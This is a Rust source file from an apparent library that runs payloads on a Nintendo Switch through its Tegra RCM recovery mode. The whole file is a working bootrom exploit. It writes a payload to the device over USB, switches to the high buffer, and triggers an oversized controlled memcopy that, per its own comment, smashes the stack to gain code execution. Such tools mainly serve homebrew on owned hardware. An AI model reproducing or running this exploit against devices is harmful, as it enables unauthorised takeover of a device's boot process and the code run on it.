tegra_rcm/
switch.rs

1use log::{debug, trace};
2
3use crate::Result;
4
5use crate::buffer::BufferState;
6use crate::device::{Device, DeviceHandle, SwitchDevice, SwitchHandle};
7use crate::vulnerability::Vulnerability;
8use crate::Payload;
9
10/// Switch Device
11#[derive(Debug, Clone)]
12pub struct Switch {
13    switch: SwitchDevice,
14}
15
16impl Switch {
17    /// Create a new Rcm object from an existing SwitchDevice
18    /// Should not have its interface claimed yet
19    pub(crate) fn new(device: SwitchDevice) -> Self {
20        Self { switch: device }
21    }
22
23    /// Finds and connects to a Switch device
24    pub fn find() -> Result<Self> {
25        let device = SwitchDevice::find_device()?;
26        Ok(Self { switch: device })
27    }
28
29    /// Gets the Switch handle
30    pub fn handle(&mut self) -> Result<Handle> {
31        let handle = self.switch.init()?;
32        Ok(Handle {
33            handle,
34            current_buffer: BufferState::Low,
35            total_written: 0,
36        })
37    }
38}
39
40/// An RCM connection object
41/// This is the main interface to communicate with the switch
42#[derive(Debug)]
43pub struct Handle {
44    handle: SwitchHandle,
45    current_buffer: BufferState,
46    total_written: usize,
47}
48
49impl Handle {
50    /// This will execute the payload on the connected device
51    /// This consumes the device
52    pub fn execute(mut self, payload: &Payload) -> Result<()> {
53        let device_id = self.read_device_id()?;
54        trace!("Device ID: {:?}", device_id);
55
56        self.write(payload.data())?;
57        self.switch_to_highbuf()?;
58
59        // Smash the stack
60        self.trigger_controlled_memcopy()
61    }
62
63    /// Writes data to the RCM protocol endpoint
64    fn write(&mut self, buf: &[u8]) -> Result<usize> {
65        const PACKET_SIZE: usize = 0x1000;
66        const MAX_LENGTH: usize = 0x30298;
67
68        assert!(buf.len() <= MAX_LENGTH);
69
70        let mut remaining_buf = buf;
71        let mut length_remaining = buf.len();
72
73        let mut written = 0;
74
75        while length_remaining != 0 {
76            let data_to_transmit = length_remaining.min(PACKET_SIZE);
77            length_remaining -= data_to_transmit;
78
79            let chunk = &remaining_buf[..data_to_transmit];
80            remaining_buf = &remaining_buf[data_to_transmit..];
81            match self.write_buffer(chunk) {
82                Ok(size) => written += size,
83                Err(e) => return Err(e),
84            };
85        }
86        // update the current amount of bytes written
87        self.total_written += written;
88
89        Ok(written)
90    }
91
92    fn switch_to_highbuf(&mut self) -> Result<()> {
93        if self.current_buffer != BufferState::High {
94            let buf = &[b'\0'; 0x1000];
95            self.write(buf)?;
96        }
97        Ok(())
98    }
99
100    fn trigger_controlled_memcopy(&self) -> Result<()> {
101        const STACK_END: usize = 0x40010000;
102        debug!(
103            "Wrote a total of {} bytes to the switch, performing the controlled memcopy",
104            self.total_written
105        );
106
107        let length = STACK_END - self.current_buffer.address();
108        self.handle.trigger(length)?;
109        Ok(())
110    }
111
112    /// Reads the device ID
113    /// Note: The is a REQUIRED step before executing
114    fn read_device_id(&mut self) -> Result<[u8; 16]> {
115        let mut buf = [b'\0'; 16];
116        self.read(&mut buf)?;
117        Ok(buf)
118    }
119
120    fn write_buffer(&mut self, buf: &[u8]) -> Result<usize> {
121        self.current_buffer.toggle();
122        let written = self.handle.write(buf)?;
123        Ok(written)
124    }
125
126    /// Read from the device
127    /// Returns bytes read
128    fn read(&mut self, buf: &mut [u8]) -> Result<usize> {
129        let read = self.handle.read(buf)?;
130        Ok(read)
131    }
132}